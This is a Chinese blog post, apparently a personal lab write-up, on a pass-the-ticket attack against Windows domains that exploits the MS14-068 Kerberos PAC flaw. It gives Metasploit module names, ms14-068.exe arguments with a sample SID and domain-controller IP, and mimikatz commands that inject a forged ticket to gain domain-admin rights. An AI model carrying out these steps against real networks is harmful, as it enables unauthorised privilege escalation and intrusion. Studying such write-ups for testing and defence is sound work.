zoukankan      html  css  js  c++  java
  • 域渗透之票据传递攻击(pass the ticket,ptt)

    票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单。

    1.ptt攻击的部分

    就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的

    Kerberos协议具体工作方法:Kerberos认证方式,在域中,简要介绍一下:

    • 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
    • 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
    • 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
    • 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

    1.1 ms14-068

    MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.
    在msf里也集成了ms14-068的利用操作,要想使用我们首先得:
    域用户sid和域控主机名
    目标域名称
    当前域用户账户和密码

    然后再msf下

    msf > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

    注意:这里的rhost设置成你想要假冒的域的主机名,一般是域控主机名
    然后找到生成的文件,TGT凭单(具有特权PAC信息)已保存在中
    这种格式非常有用,因为可以通过Mimikatz在Windows客户端上或在linux客户端上使用MIT kerberos导入
    同时,可以使用mimikatz转换格式(任何mimikatz安装都可以完成工作,而无需成为域计算机或类似的东西):
    注意:mimikatz不支持注入xp以及以下系统
    在kail系统下还没有默认安装kerberos的认证功能所以我们首先要安装一个kerberos客户端:
    apt-get install krb5-user
    然后在目标靶机上传mimikatz和生成的bin文件,将我们生成的bin文件转换为.kirbi文件,然后再在通过kiwi meterpreter扩展名加载。首先需要在域计算机上进行会话,然后使用kiwi扩展名导入TGT票证:
    上传mimikatz:
    上传bin文件:
    mimikatz:
    ok,导出的文件0-00000000-zhu1@krbtgt-XIAN.COM.kirbi现在可以用于kiwi meterpreter扩展名加载。首先需要在域计算机上进行会话,然后使用kiwi扩展名导入TGT票证:
    返回到meterpreter,注意这里必须要有管理员权限才行。
    meterpreter > getuid
    Server username: NT AUTHORITYSYSTEM
    运行load kiwi
    将生成的kirbi下载回来到本地/tmp/文件夹内:(因为我kali上的kerberos安装有问题...)
    download c:/wmpub/0-00000000-zhu1@krbtgt-XIAN.COM.kirbi /tmp/

    最后注入票据:
    最后一步总是失败,可能是msf上mimikatz对windows2003的支持问题,下次在win7上试一下。

    1.2 使用ms14-068.exe

    除了使用msf配合mimikatz,还可以使用ms14-068.exe,全程在目标机上完成注入

    1.2.1 使用whoami/user得到域用户的sid

    1.2.2 执行payload生成TGT票据

        使用工具:ms14-068
        使用方法:
    ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
            运行:
    MS14-068.exe -u xian.com -s S-1-5-21-3472572548-430068626-1276128607-1106 -d 192.168.5.2 -p xxx
    如果操作正确,且域机器是可以和域控制器互通则会创建.ccache文件
    当前目录下生成伪造的票据文件:

    1.2.3 票据注入

       使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
            mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 
            mimikatz # kerberos::list //查看当前机器凭证 
            mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中

    显示错误
    经过上面实验,和网上资料,域成员主机如果为windows xp或windows server 2003,是无法正常伪造票据的
     

     

     

     

  • 相关阅读:
    求大神回答这个管理系统不知道为啥不成功急!
    这个函数到底什么意思如何调用
    判断浮点数是否为零的问题
    字符串与列表的 常用方法
    变量名命名规范 运算符 流程控制
    ACM C++
    struts s:iterator循环遍历数据 自动生成序号
    JAVA将一个EXCEL多行订单产品字符串分解成一个个子订单 +连接符连接
    JS在HTML中获取到所有选中的checkbox的值
    自己做的java-WEB项目。希望360浏览器能够默认使用极速模式打开
  • 原文地址:https://www.cnblogs.com/Xy--1/p/12231747.html
Copyright © 2011-2022 走看看